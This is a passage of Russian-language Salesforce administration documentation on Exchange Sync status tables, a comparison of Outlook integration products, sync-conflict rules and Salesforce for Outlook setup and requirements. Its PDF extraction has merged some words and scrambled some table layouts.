исключению из синхронизации, помеченыфлажком «Личное» в календаре
пользователя.

2. В меню «Настройка» Salesforce введите строку «Статус Exchange Sync» в поле
«Быстрый поиск», затем выберите «Статус Exchange Sync».

3. Введите имя нужного пользователя и нажмите кнопку «Сбросить синхронизацию».
При выполнении следующего цикла синхронизации Exchange Sync будет синхронизировать:

• все контакты из папки Salesforce_Sync пользователя по направлению «Из Exchange в Salesforce», исключая
контакты, которые не соответствуют фильтрам, заданным в конфигурации Exchange пользователя;

• все события из календаря пользователя по направлению «Из Exchange в Salesforce», исключая события, которые
несоответствуютфильтрам, заданнымвконфигурации Exchange пользователя, илисобытия, помеченныефлажком
«Личное» в Exchange.
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Статусы Exchange Sync

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Понимание статусов Exchange Sync позволяет пользователям оценивать и исправлять
ошибки Exchange Sync, отображающиеся на странице статусов Exchange Sync в системе
Salesforce.

Статусы синхронизации системы

Табл. 5: Статусы настройки конфигурации

Значение статусаОтображаемый статусУсловие

Пользователь сохраняет
регистрационные данные
учетной записи службы в
системеSalesforce, а Exchange

Имя пользователя учетной
записи службы

Указанная учетная запись
службы Microsoft Exchange:

Sync распознает
допустимую учетную
запись службы. Данный
статус не позволяет
однозначноутверждать, что
учетная запись службы
поддерживает
синхронизацию
посредством Exchange Sync.
При повторном
возникновении ошибок
синхронизации
рекомендуем использовать
инструмент Remote
Connectivity Analyzer от
компании Microsoft® для
тестированияподключения
и устранения ошибок
настройки.

Exchange Sync не удается
сохранить

Нет

регистрационные данные
учетной записи службы.
Убедитесь, что введенные
кодипарольсоответствуют
учетной записи службы, а
настроеннаяучетная запись
службы является
допустимой в Microsoft
Exchange.

Exchange Sync распознает,
что указанная учетная

Система Salesforce
распознает учетнуюзапись
службы Microsoft Exchange: запись службы является

допустимой. Данныйстатус
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Значение статусаОтображаемый статусУсловие

не позволяет однозначно утверждать,
что учетная запись службы
поддерживает синхронизацию
посредством Exchange Sync. При
повторном возникновении ошибок
синхронизации рекомендуем
использовать инструмент Remote
Connectivity Analyzer от компании
Microsoft® для тестирования
подключения и устранения ошибок
настройки.

Exchange Sync не удается распознать
регистрационные данные учетной
записи службы. Убедитесь, что
настроенная учетная запись службы
является допустимой в Microsoft
Exchange.

Все пользователи Exchange Sync
относятся к активным конфигурациям
Exchange.

Правильноеколичествопользователей
Exchange Sync

Пользователи в активных
конфигурациях Salesforce Exchange:

Некоторыепользователинеотносятся
к активным конфигурациям Exchange.

Неправильное количество
пользователей Exchange Sync

Пользователинеотносятсяк активным
конфигурациям Exchange.

0

Все адреса эл. почты Microsoft Exchange
соотносятся правильно с

Ожидаемоеколичествопользователей
Exchange Sync

Пользователисосвязаннымиадресами
эл. почты Microsoft Exchange и Salesforce:

соответствующимиадресамиэл. почты
Salesforce.

Некоторые адреса эл. почты Microsoft
Exchange соотносятся неправильно с

Неожиданное количество
пользователей Exchange Sync

соответствующимиадресамиэл. почты
Salesforce. Убедитесь, что адреса эл.
почты Exchange соответствуютадресам
эл. почты Salesforce путем их
сопоставления.

Адреса эл. почты Microsoft Exchange не
соотносятся с соответствующими

0

адресами эл. почты Salesforce.
Обратитесь в службу поддержки
Salesforce.
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Табл. 6: Статусы контактов

Значение статусаОтображаемый статусУсловие

Дата и время последней
синхронизации контактов,

Время синхронизации контактов в
течение последних нескольких минут

Последнее действие синхронизации:

выполненной организацией
посредством Exchange Sync. Как
правило, Exchange Sync синхронизирует
записи без инцидентов. При
отображении данного статуса, но
неудачной синхронизации контактов
отдельных пользователей, проверьте
сервер Exchange или конфигурации
Exchange Sync на наличие параметров,
связанныхсданнымипользователями.

Дата и время последней
синхронизации контактов,

Время синхронизации контактов в
течение нескольких часов

выполненной организацией.
Возможно, настройка Exchange Sync
выполнена недавно, потому что
начальная синхронизация контактов
может заниматьнесколькочасов. Если
синхронизацияконтактоввыполняется
не в первый раз, то данный статус
может указыватьнаналичиепроблемы
в синхронизации контактов
организации. Убедитесь в
возобновлениисинхронизациипутем
отслеживания последнего действия
синхронизации в течение следующих
24 часов.

Дата и время последней
синхронизации контактов,

Время синхронизации контактов в
течение прошедшей даты

выполненной организацией. При
отсутствииповторнойсинхронизации
в течение 24 часов убедитесь, что
введенные регистрационные данные
учетной записи службы Exchange
являются верными, система Salesforce
распознает учетную запись службы, а
организация использует инструмент
Remote Connectivity Analyzer от
компании Microsoft для проверки
возможности взаимодействия между
сервером Exchange и Exchange Sync. При
наличии работающего подключения
обратитесь в службу поддержки
Salesforce.
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Значение статусаОтображаемый статусУсловие

Данное количество контактов
синхронизировано организацией за
последние 60 минут.

Количество контактов,
синхронизированных организацией
за последние 60 минут

Записи, синхронизированные за
последние 60 минут:

Контакты, синхронизированные
организацией за последние 60 минут,

0

отсутствуют. Убедитесь в
возобновлениисинхронизациипутем
отслеживаниядействиясинхронизации
записи в течение следующих 24 часов.
При отсутствии возобновленной
синхронизации воспользуйтесь
инструментом Remote Connectivity
Analyzer от компании Microsoft для
проверкивозможностивзаимодействия
между сервером Exchange и Exchange
Sync. При наличии работающего
подключения обратитесь в службу
поддержки Salesforce.

Данное количество контактов
синхронизировано организацией за
последние 24 часа.

Количество контактов,
синхронизированных организацией
за последние 24 часа

Записи, синхронизированные за
последние 24 часа:

Контакты, синхронизированные
организацией за последние 60 минут,

0

отсутствуют. Воспользуйтесь
инструментом Remote Connectivity
Analyzer от компании Microsoft для
проверкивозможностивзаимодействия
между сервером Exchange и Exchange
Sync. При наличии работающего
подключения обратитесь в службу
поддержки Salesforce.

Табл. 7: Статусы событий

Значение статусаОтображаемый статусУсловие

Дата и время последней
синхронизации событий,

Время синхронизации событий в
течение последних нескольких минут

Последнее действие синхронизации:

выполненной организацией
посредством Exchange Sync. Как
правило, Exchange Sync синхронизирует
записи без инцидентов. При
отображении данного статуса, но
неудачной синхронизации событий
отдельных пользователей, проверьте
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сервер Exchange или конфигурации
Exchange Sync на наличие параметров,
связанныхсданнымипользователями.

Дата и время последней
синхронизации событий,

Время синхронизации событий в
течение нескольких часов

выполненной организацией.
Возможно, настройка Exchange Sync
выполнена недавно, потому что
начальная синхронизация событий
может заниматьнесколькочасов. Если
синхронизация событий выполняется
не в первый раз, то данный статус
может указыватьнаналичиепроблемы
в синхронизации событий
организации. Убедитесь в
возобновлениисинхронизациипутем
отслеживания последнего действия
синхронизации в течение следующих
24 часов.

Дата и время последней
синхронизации событий,

Время синхронизации событий в
течение прошедшей даты

выполненной организацией. При
отсутствииповторнойсинхронизации
в течение 24 часов или более
длительного времени убедитесь, что
введенные регистрационные данные
учетной записи службы Exchange
являются верными, система Salesforce
распознает учетную запись службы, а
организация использует инструмент
Remote Connectivity Analyzer от
компании Microsoft для проверки
возможности взаимодействия между
сервером Exchange и Exchange Sync. При
наличии работающего подключения
обратитесь в службу поддержки
Salesforce.

Данное количество событий
синхронизировано организацией за
последние 60 минут.

Количество событий,
синхронизированных организацией
за последние 60 минут

Записи, синхронизированные за
последние 60 минут:

События, синхронизированные
организацией за последние 60 минут,

0

отсутствуют. Убедитесь в
возобновлениисинхронизациипутем
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отслеживаниядействиясинхронизации
записи в течение следующих 24 часов.
При отсутствии возобновленной
синхронизации воспользуйтесь
инструментом Remote Connectivity
Analyzer от компании Microsoft для
проверкивозможностивзаимодействия
между сервером Exchange и Exchange
Sync. При наличии работающего
подключения обратитесь в службу
поддержки Salesforce.

Данное количество контактов
синхронизировано организацией за
последние 24 часа.

Количество контактов,
синхронизированных организацией
за последние 24 часа

Записи, синхронизированные за
последние 24 часа:

События, синхронизированные
организацией за последние 60 минут,

0

отсутствуют. Воспользуйтесь
инструментом Remote Connectivity
Analyzer от компании Microsoft для
проверкивозможностивзаимодействия
между сервером Exchange и Exchange
Sync. При наличии работающего
подключения обратитесь в службу
поддержки Salesforce.

Статусы синхронизации пользователя

Табл. 8: Статусы настройки конфигурации

Значение статусаОтображаемый статусУсловие

Данный пользователь может
выполнятьсинхронизациювактивной
конфигурации Exchange Sync.

Пользователь, назначенный активной
конфигурации Exchange:

Данный пользователь не может
выполнятьсинхронизациювактивной
конфигурации Exchange Sync.

Данному пользователю соответствует
учетная запись службы, настроенная в

Пользователь, распознанный учетной
записью службы Exchange:

Exchange, а Exchange Sync может
взаимодействовать с учетной записью
службы Exchange.

Данному пользователю не
соответствует учетная запись службы,
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настроенная в Exchange, или Exchange
Sync не может взаимодействовать с
указанной учетной записью службы
Exchange. Убедитесь, что настроенная
учетная запись службы Exchange
является допустимой и точно
соответствует данному пользователю.

Данный пользователь помечен для
сброса синхронизации, но сброс не

Помечено для сбросаСбросить статус синхронизации
пользователя:

начат. Запрос на сброс добавляется в
очередь и выполняется по мере
доступности системы.

Сброс процесса синхронизации
выполняется. По завершении сброса

Выполняется сброс

условие «Сбросить статус
синхронизации пользователя»
удаляется со страницы.

Табл. 9: Статусы контактов

Значение статусаОтображаемый статусУсловие

Папка Salesforce_Sync найдена в
каталоге «Контакты» учетной записи
эл. почты данного пользователя.

Найденная папка Salesforce_Sync:

Exchange Sync не удается найти папку
Salesforce_Sync на сервере Exchange или
неудается создатьее автоматическидля
данного пользователя. При
необходимости создайте папку
Salesforce_Sync для данного
пользователя в качестве подкаталога
для каталога «Контакты» в учетной
записиэл. почтыданногопользователя.

Адрес эл. почты Microsoft Exchange
данного пользователя соотносится

Связанные адреса эл. почты Salesforce
и Exchange:

правильно с адресом эл. почты
Salesforce пользователя.

Адрес эл. почты Microsoft Exchange
данного пользователя соотносится
неправильно с адресом эл. почты
Salesforce пользователя. Сбросьте
синхронизацию для данного
пользователя.
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Синхронизация контактов данного
пользователя по направлению из
Salesforce в Exchange не начата.

Не начатоСтатус синхронизации по
направлению из Salesforce в Exchange:

Синхронизация контактов данного
пользователя по направлению из

Выполняется начальная
синхронизация

Salesforce в Exchange выполняется в
первый раз. Данная начальная
синхронизация может занять
несколько часов.

Синхронизация контактов данного
пользователя по направлению из

Начальная синхронизация завершена

Salesforce в Exchange, выполняемая в
первый раз, завершена.

Синхронизация контактов данного
пользователя по направлению из

Выполняется синхронизация

Salesforce в Exchange выполняется в
настоящее время.

Синхронизация контактов данного
пользователя по направлению из
Salesforce в Exchange завершена.

Синхронизировано

Данный пользователь не может
выполнять синхронизациюконтактов

Конфигурация Exchange не задана для
синхронизации

понаправлениюизSalesforceв Exchange
в активной конфигурации Exchange
Sync.

Синхронизация контактов данного
пользователя по направлению из
Exchange в Salesforce не начата.

Не начатоСтатус синхронизации по
направлению из Exchange в Salesforce:

Синхронизация контактов данного
пользователя по направлению из

Выполняется начальная
синхронизация

Exchange в Salesforce выполняется в
первый раз. Данная начальная
синхронизация может занять
несколько часов.

Синхронизация контактов данного
пользователя по направлению из

Начальная синхронизация завершена

Exchange в Salesforce, выполняемая в
первый раз, завершена.

Синхронизация контактов данного
пользователя по направлению из
Exchange в Salesforce завершена.

Выполняется синхронизация
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Синхронизация контактов данного
пользователя по направлению из
Exchange в Salesforce завершена.

Синхронизировано

Данный пользователь не может
выполнять синхронизациюконтактов

Конфигурация Exchange не задана для
синхронизации

понаправлениюиз Exchange вSalesforce
в активной конфигурации Exchange
Sync.

Данное количество контактов
синхронизируется данным

Количество контактов,
синхронизируемых для данного
пользователя

Синхронизированные записи

пользователем между Exchange и
Salesforce. При синхронизации
контактов данного пользователя без
инцидентов данное количество
соответствует количеству контактов в
папке Salesforce_Sync данного
пользователя.

Табл. 10: Статусы событий

Значение статусаОтображаемый статусУсловие

Папка «Календарь» найдена в учетной
записиэл. почтыданногопользователя.

Найденная папка «Календарь»:

Exchange Sync не удается найти папку
«Календарь» пользователя на сервере
Exchange.

Адрес эл. почты Microsoft Exchange
данного пользователя соотносится

Связанные адреса эл. почты Salesforce
и Exchange:

правильно с адресом эл. почты
Salesforce пользователя.

Адрес эл. почты Microsoft Exchange
данного пользователя соотносится
неправильно с адресом эл. почты
Salesforce пользователя. Сбросьте
синхронизацию для данного
пользователя.

Синхронизация событий данного
пользователя по направлению из
Salesforce в Exchange не начата.

Не начатоСтатус синхронизации по
направлению из Salesforce в Exchange:

Синхронизация событий данного
пользователя по направлению из

Выполняется начальная
синхронизация

Salesforce в Exchange выполняется в
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первый раз. Данная начальная
синхронизация может занять
несколько часов.

Синхронизация событий данного
пользователя по направлению из

Начальная синхронизация завершена

Salesforce в Exchange, выполняемая в
первый раз, завершена.

Синхронизация событий данного
пользователя по направлению из

Выполняется синхронизация

Salesforce в Exchange выполняется в
настоящее время.

Синхронизация событий данного
пользователя по направлению из
Salesforce в Exchange завершена.

Синхронизировано

Данный пользователь не может
выполнять синхронизацию событий

Конфигурация Exchange не задана для
синхронизации

понаправлениюизSalesforceв Exchange
в активной конфигурации Exchange
Sync.

Синхронизация событий данного
пользователя по направлению из
Exchange в Salesforce не начата.

Не начатоСтатус синхронизации по
направлению из Exchange в Salesforce:

Синхронизация событий данного
пользователя по направлению из

Выполняется начальная
синхронизация

Exchange в Salesforce выполняется в
первый раз. Данная начальная
синхронизация может занять
несколько часов.

Синхронизация событий данного
пользователя по направлению из

Начальная синхронизация завершена

Exchange в Salesforce, выполняемая в
первый раз, завершена.

Синхронизация событий данного
пользователя по направлению из
Exchange в Salesforce завершена.

Выполняется синхронизация

Синхронизация событий данного
пользователя по направлению из
Exchange в Salesforce завершена.

Синхронизировано

Данный пользователь не может
выполнять синхронизацию событий

Конфигурация Exchange не задана для
синхронизации

понаправлениюиз Exchange вSalesforce
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в активной конфигурации Exchange
Sync.

Данное количество событий
синхронизируется данным

Количество контактов,
синхронизируемых для данного
пользователя

Синхронизированные записи

пользователем между Exchange и
Salesforce. При неудачной
синхронизации только некоторых
событий данного пользователя
убедитесь, что данный пользователь
может выполнять синхронизацию
событий без инцидентов в
конфигурации Exchange Sync
пользователя, а сами события не
являются личными. Помните, что в
настоящее время Exchange Sync не
поддерживает синхронизацию
событийнавесьдень, повторяющихся
событий и приглашенных
пользователей.
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Выбор продукта интеграции эл. почты

Какое приложение интеграции электронной почты Microsoft® подходит для моей
компании?

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Приложение Salesforce App
for Outlook доступно в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Приложение
Salesforce for Outlook
доступно в версиях: все
версии.

Функция Email to Salesforce
доступна в версиях: все
версии.

Пользователей может заинтересовать сравнение «Salesforce App for Outlook» с нашими
устаревшими продуктами («Salesforce for Outlook» и «Email to Salesforce»). Чтобы выбрать
наиболее оптимальный продукт или комбинацию продуктов, рекомендуем сравнить
требования к системе, предъявляемые данными продуктами.

Благодаря настройке Salesforce App for Outlook, Salesforce for Outlook или Email to Salesforce
в случае миграции с устаревшего приложения, такого как Connect for Outlook, или при
первоначальном внедрениифункции интеграции эл. почты Salesforce специалисты по
продажам получают возможность оптимизации выполняемых процессов между
электронной почтой Microsoft и системой Salesforce.

Каждаяфункцияинтеграцииэл. почтыявляется уникальнойиподдерживаетсяразными
продуктами Microsoft. В зависимости от текущих бизнес-требований, пользователям
может быть предоставлен доступ к одной или несколькимфункциям.

Синхронизация между приложениями эл. почты и системой Salesforce

Убедите пользователей в регулярном обновлении их записей — будь то при
использовании почтового приложения или системы Salesforce. В зависимости от
комбинации выбранных продуктов интеграции эл. почты, пользователи могут
синхронизировать контакты, события и задачи между эл. почтой Microsoft и системой
Salesforce. Чтобы позволить пользователям синхронизировать элементы, просмотрите
раздел «Синхронизацияобмена» (компонентсинхронизациидляSalesforce App for Outlook)
либо «Синхронизация Salesforce for Outlook».

Использование возможностей системы Salesforce прямо в почтовых приложениях
РазрешитепользователямпросмотрисозданиезаписейSalesforceилидобавлениесообщенийэл. почтывсистемуSalesforce
без закрытия почтовых приложений. Чтобы разрешить пользователям обработку записей Salesforce прямо в почтовом
приложении, воспользуйтесь Salesforce App for Outlook, боковой панелью Salesforce for Outlook или Email to Salesforce.

Сравнение продуктов интеграции эл. почты Microsoft

Определите оптимальные функции для организации. Сначала просмотрите требования к системе, позволяющие
определить функции, которые поддерживаются программным обеспечением компании. Затем просмотрите общие
сведения о функциях, позволяющие понять суть каждой функции.
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Продукт,
позволяющий
синхронизировать
задачи

Продукт,
позволяющий
синхронизировать
контакты и события

Продукт,
позволяющий
добавлять
сообщения эл.
почты в записи
Salesforce

Продукт,
позволяющий
использовать
возможности
системы Salesforce
прямо в почтовом
приложении

Используемое ПО

Синхронизация
Salesforce for Outlook

Exchange Sync

или

ПриложениеSalesforce
for Outlook

или

ПриложениеSalesforce
for Outlook

или

Exchange Online
(Office 365)

и Синхронизация
Salesforce for OutlookБоковая панель

Salesforce for Outlook
Боковая панель
Salesforce for Outlook

• Outlook 2016

• Outlook 2013

Синхронизация
Salesforce for Outlook

Exchange Sync

или

Боковая панель
Salesforce for Outlook

Salesforce App for
Outlook

или

Exchange 2013
(локальное)

и Синхронизация
Salesforce for OutlookБоковая панель

Salesforce for Outlook
• Outlook 2016

• Outlook 2013

Синхронизация
Salesforce for Outlook

Exchange Sync

или

Боковая панель
Salesforce for Outlook

Боковая панель
Salesforce for Outlook

Exchange 2010

и

Синхронизация
Salesforce for Outlook

• Outlook 2016

• Outlook 2013

• Outlook 2010

Синхронизация
Salesforce for Outlook

Синхронизация
Salesforce for Outlook

Боковая панель
Salesforce for Outlook

Боковая панель
Salesforce for Outlook

Exchange 2007

и

• Outlook 2013

• Outlook 2010

• Outlook 2007

Exchange SyncEmail to SalesforceSalesforce App for
Outlook

Mac OS X

и

Exchange Online
(Office 365)

и

Веб-приложение
Outlook

Exchange SyncEmail to SalesforceMac OS X

и

• Exchange 2013
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Продукт,
позволяющий
синхронизировать
задачи

Продукт,
позволяющий
синхронизировать
контакты и события

Продукт,
позволяющий
добавлять
сообщения эл.
почты в записи
Salesforce

Продукт,
позволяющий
использовать
возможности
системы Salesforce
прямо в почтовом
приложении

Используемое ПО

• Exchange 2010

Exchange SyncEmail to SalesforceMobile

СМ. ТАКЖЕ:

Рекомендациипоодновременномузапускуприложения Salesforce для Outlook ипрограммногообеспечения Salesforce для
Outlook

Синхронизация элементов Microsoft® посредством Exchange Sync (бета-версия)

Приложение Salesforce для Outlook

Просмотр записей Salesforce в приложении Microsoft® Outlook®

Как работает функция Email to Salesforce?

Одновременное выполнение нескольких функций интеграции эл. почты

Рекомендации по одновременному запуску приложения Salesforce для Outlook и
программного обеспечения Salesforce для Outlook

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Приложение Salesforce для
Outlook доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Приложение
Salesforce for Outlook
доступно в версиях: все
версии.

В зависимости от вычислительной среды вашей компании и решений по интеграции
электронной почты, нужным вашим пользователям, можно настроить функции как из
приложения Salesforce для Outlook, так и при помощи решения Salesforce для Outlook,
чтобы обеспечить решение этих задач. Перед началом настройки ознакомьтесь с
ограничениямифункций, с которыми вам предстоит работать, и изучите, как Salesforce
решает конфликты синхронизации между двумя системами.

Ограничения, связанные с одновременным запуском приложения Salesforce для
Outlook и программного обеспечения Salesforce для Outlook

Хотя вы можете одновременно активировать приложение Salesforce для Outlook и
боковую панель Salesforce для Outlook в одной организации, пользователи не смогут
одновременно запускать обе функции интеграции Outlook.

Порядок управления конфликтами синхронизации между Exchange Sync и
Salesforce for Outlook

Просмотрите порядок управления конфликтами синхронизации, применяемый
системой Salesforce, при синхронизации одних и тех же записей посредством обеих
функций.
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Ограничения, связанные с одновременным запуском приложения Salesforce для Outlook и
программного обеспечения Salesforce для Outlook

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Приложение Salesforce для
Outlook в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Приложение
Salesforce for Outlook
доступно в версиях: все
версии.

ХотявыможетеодновременноактивироватьприложениеSalesforceдля Outlook ибоковую
панель Salesforce для Outlook воднойорганизации, пользователине смогутодновременно
запускать обе функции интеграции Outlook.

Чтобы пользователи не запускали несколько средств интеграции электронной почты
одновременно, Salesforce автоматическиотключаетбоковуюпанель Salesforce for Outlook
приподключениикприложениюSalesforceдля Outlook. ПриложениеSalesforceдля Outlook
по-прежнемуможнозагружать, устанавливатьи синхронизировать с Salesforce for Outlook,
однако в Outlook можно запускать только приложение Salesforce для Outlook.

СМ. ТАКЖЕ:

Какое приложение интеграции электронной почты Microsoft® подходит для моей
компании?

Порядок управления конфликтами синхронизации между Exchange Sync и
Salesforce for Outlook

Порядок управления конфликтами синхронизации между Exchange Sync и Salesforce for Outlook

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Exchange Sync доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Приложение
Salesforce for Outlook
доступно в версиях: все
версии.

Просмотритепорядокуправленияконфликтамисинхронизации, применяемыйсистемой
Salesforce, при синхронизации одних и тех же записей посредством обеих функций.

Прим.: В настоящее время доступна только бета-функция Exchange Sync,
являющаясяполноценной, ноимеющаянекоторыеограничения. Чтобынастроить
функцию для компании, воспользуйтесь Руководством по внедрению Exchange
Sync.

Припереносепользователейиз Salesforce for Outlook в Exchange Sync илипредоставлении
пользователям Exchange Sync доступакбоковойпанелиSalesforceпользователисчитаются
назначенными конфигурациям обоих продуктов.

При синхронизации одних и тех же записей посредством конфигураций Outlook и
Exchange Sync, параметрыкоторыхконфликтуют, система Salesforce автоматическиотдает
приоритет параметрам, заданным для данного типа записи в конфигурации Exchange
Sync.

Система Salesforce отдает приоритет по записи, поэтому при использовании обеих
функций некоторые типы записей могут синхронизироваться посредством
Salesforce for Outlook, тогда как другие типы записей — посредством Exchange Sync.

Например, при использовании конфигурации Outlook для синхронизации контактов, событий и задач, а также
конфигурации Exchange Sync для синхронизацииконтактови событий, задачипользователейбудут синхронизироваться
посредством Salesforce for Outlook, а контакты и события пользователей будут синхронизироваться посредством Exchange
Sync.

Несмотря на управление данными конфликтами на уровне системы Salesforce, рекомендуем выключить параметры
синхронизации Salesforce for Outlook для пользователей Exchange Sync.

Даннаярекомендацияпозволяетизбежатьпутаницыотносительнотого, какиепользователивыполняютсинхронизацию
посредством каждой функции, даже при постепенном усложнении параметров конфигурации.
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Прим.: Несмотря на то, что боковая панель Salesforce является функцией приложения Salesforce for Outlook,
пользователям Exchange Sync может быть разрешено ее использование для обработки записей. Просто добавьте
данныхпользователей Exchange Sync в конфигурацию Outlook с выключеннойсинхронизациейивключитепараметр
«Боковая панель» на странице 1767.

СМ. ТАКЖЕ:

Какое приложение интеграции электронной почты Microsoft® подходит для моей компании?

Ограничения, связанные с одновременным запускомприложения Salesforce для Outlook ипрограммного обеспечения
Salesforce для Outlook

Администрирование Salesforce for Outlook

Salesforce for Outlook. Требования к системе

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Прежде чем загрузить и установить приложение Salesforce for Outlook, убедитесь, что
используемая система соответствует перечисленным ниже требованиям.

Необходимая версияБазовый
ресурс

Пользователям необходимо выполнить обновление до версии 3.0.0,
которая уже доступна, и до протокола шифрования Salesforce в 2016
году.

Salesforce for Outlook

Microsoft® Outlook® на сервере Microsoft Exchange Online (служба,
размещаемая на сервере Microsoft и интегрируемая в программное
обеспечение Office 365™) или Microsoft Exchange Server, а также все
последние исправления.

Стандартное
почтовое
приложение

• 2016

• 2013

• 2010

• 2007

Приложение Salesforce for Outlook поддерживает программу Outlook,
установленную посредством технологии Click-to-Run (программа
потоковой установки для пакета Microsoft Office).

Microsoft Windows®, а также все последние исправления.Операционная
система • Windows 10

• Windows 8.1 (Pro и Enterprise)

• Windows 7

Приложение Salesforce for Outlook не поддерживается операционной
системой Apple® Mac OS®.

Браузер Internet Explorer споддержкойпротоколашифрования TLS 1.1
илиболеепозднейверсии, которыйдолженбыть включен. См. раздел

Обозреватель
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Необходимая версияБазовый ресурс

«Другие требования» для ограничений браузера, связанных с определеннымифункциями.

Прочие требования

ТребованиеДругие функции

Требуется обозреватель Microsoft® Internet Explorer® 9 или более поздней версии.Создание записей
посредством
публикаторабоковой
панели Salesforce

Приложениеподдерживаетиспользованиесистем, подключающихсякИнтернетупосредством
прокси-сервера.

Конфигурации
сервера

• Автоматическое определение прокси-сервера

• Ручная настройка прокси-сервера

• Аутентификация прокси-сервера по протоколу NTLM

Приложение не поддерживает использование:

• Почтовые серверы IMAP и POP3

• Терминальные серверы (например, Citrix®)

• PAC-файлы

Чтобы воспользоваться программой установки .msi, администратор может установить
перечисленные ниже инструменты.

Программыустановки

• Microsoft .NET Framework 4.6

• Microsoft Visual Studio® 2010 Tools for Office Runtime

• Пакет Primary Interop Assemblies (PIA) Redistributable для версии Microsoft Outlook

Пользователи Windows 7 .msi должнызапустить команднуюстрокуотимениадминистратора,
после чего запустить программу установки из командной строки. Пример msiexec /i
SalesforceForOutlook.msi.

Приложение поддерживает использование одного из двух методов:Единая регистрация

• Делегированная проверка подлинности

• SAML с функцией «Мой домен»

Системанеподдерживаетиспользованиеотдельногоинтерактивногопоставщикаудостоверений
для функции единой регистрации.

СМ. ТАКЖЕ:

ПО для настольных ПК Salesforce для Outlook

Установка и настройка приложения Salesforce for Outlook

Языки, поддерживаемые приложением Salesforce for Outlook
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Доступные функции приложения Salesforce for Outlook по версиям Salesforce
Доступные для торговых представителей функции определяются используемой версией Salesforce.

Доступно в версиях Professional
Edition, Enterprise Edition,
Performance Edition, Unlimited
Edition и Developer Edition.

Доступно в Contact Manager, Group
EditionФункция

Добавление сообщений эл. почты
Microsoft® Outlook® в записи Salesforce

Синхронизация контактов, событийи
задач между Salesforce и Outlook

Настройте направления
синхронизации, фильтрыифункции,
включенные для пользователей
посредством конфигураций Outlook.

Предоставьте торговым
представителям доступ к боковой
панели Salesforce.

Позволяет торговым представителям
создавать записи Salesforce напрямую
в издателе боковой панели.

Позволяетадминистраторамсоздавать
менюмакетапубликаторадлябоковой
панели без изменения других макетов
публикатора.

Позволяетадминистраторамсоздавать
разные макеты публикатора боковой
панели и назначать их разным
профилям пользователей.
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Настройки Outlook и макеты публикатора Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций:
• «Просмотр настройки и

конфигурации»

Для создания,
редактирования или
удаления конфигураций:
• «Управление

конфигурациями
клиента эл. почты»

Помощь пользователям Salesforce for Outlook в синхронизации записей между
приложением Microsoft® Outlook® и системой Salesforce посредством создания отдельных
параметровдля групппользователейсразнымипотребностями. Дляэтоговведитестроку
«Настройки Outlook» в поле «Быстрый поиск» в меню «Настройка» и выберите
пункт «Настройки Outlook».

Конфигурации Salesforce for Outlook

Конфигурации Salesforce for Outlook содержатпараметрыдля данных, которыедоступны
пользователям Salesforce for Outlook для синхронизации приложения Microsoft® Outlook®

с системой Salesforce. Администраторы могут создавать отдельные конфигурации для
разных типов пользователей и предоставлять пользователям полномочия для
редактирования некоторых собственных параметров. Например, группа, работающая с
возможностями, может синхронизировать все данные, тогда как менеджеры могут
синхронизировать только события.

При необходимости предоставьте пользователям возможность создания, просмотра и
обработки записей Salesforceпрямовприложении Outlook посредствомбоковойпанели
Salesforce. Боковая панель позволяет пользователям быстро добавлять сообщения эл.
почты, задачи и события Outlook в связанные записи Salesforce.

Макеты публикатора Outlook

Пользователи могут создавать организации, обращения, интересы, возможности и
настраиваемые объекты посредством публикатора прямо на боковой панели. Чтобы
предоставитьпользователямдоступкпубликаторубоковойпанели, рекомендуемсоздать
быстрыедействия, которыедолжныотображаться вменюпубликаторапользователей, добавитьданныебыстрыедействия
в соответствующие макеты публикатора и назначить макеты публикатора выбранным пользователям.

СМ. ТАКЖЕ:

ПО для настольных ПК Salesforce для Outlook

Создание настроек Salesforce for Outlook

Определение наборов данных для Salesforce for Outlook

Salesforce for Outlook: конфигурации для Contact Manager Edition и Group Edition

Настройка пользователей для создания записей прямо на боковой панели Salesforce
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Создание настроек Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций:
• «Просмотр настройки и

конфигурации»

Для создания,
редактирования или
удаления конфигураций:
• «Управление

конфигурациями
клиента эл. почты»

1. Введитестроку «Настройки Outlook» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Настройки Outlook».

2. Нажмите кнопку «Создать конфигурацию Outlook».

3. Введите имя и описание конфигурации.

4. Чтобы активировать конфигурацию, установите флажок «Активно».

5. Чтобы уведомить пользователей о наличии обновлений для приложения
Salesforce for Outlook, доступных для загрузки, установите флажок «Уведомить об
обновлениях продукта».

6. Взависимостиотиспользуемойконфигурации, настройте всеилитольконекоторые
указанные ниже параметры.

• Назначенные пользователи и профили

• Параметры эл. почты для добавления сообщений и создания обращений

• Направление синхронизации

• Алгоритм конфликта

• Соотнесения полей

• Критерии соответствия

• Полномочия на изменение

• Дополнительные параметры

7. Нажмите кнопку «Сохранить».

8. Определите наборы данных.

ЕсливходвсистемуSalesforceвыполняетсяпосредствоммастеранастройкиприложенияSalesforce for Outlook, тоизмененные
параметры вступают в силу незамедлительно. Если конфигурация деактивирована, а пользователи назначены другой
активной конфигурации с помощью профиля, то эта активная конфигурация будет использоваться при их следующем
входе в приложение Outlook.

СМ. ТАКЖЕ:

ПО для настольных ПК Salesforce для Outlook

Salesforce for Outlook: конфигурации для Contact Manager Edition и Group Edition
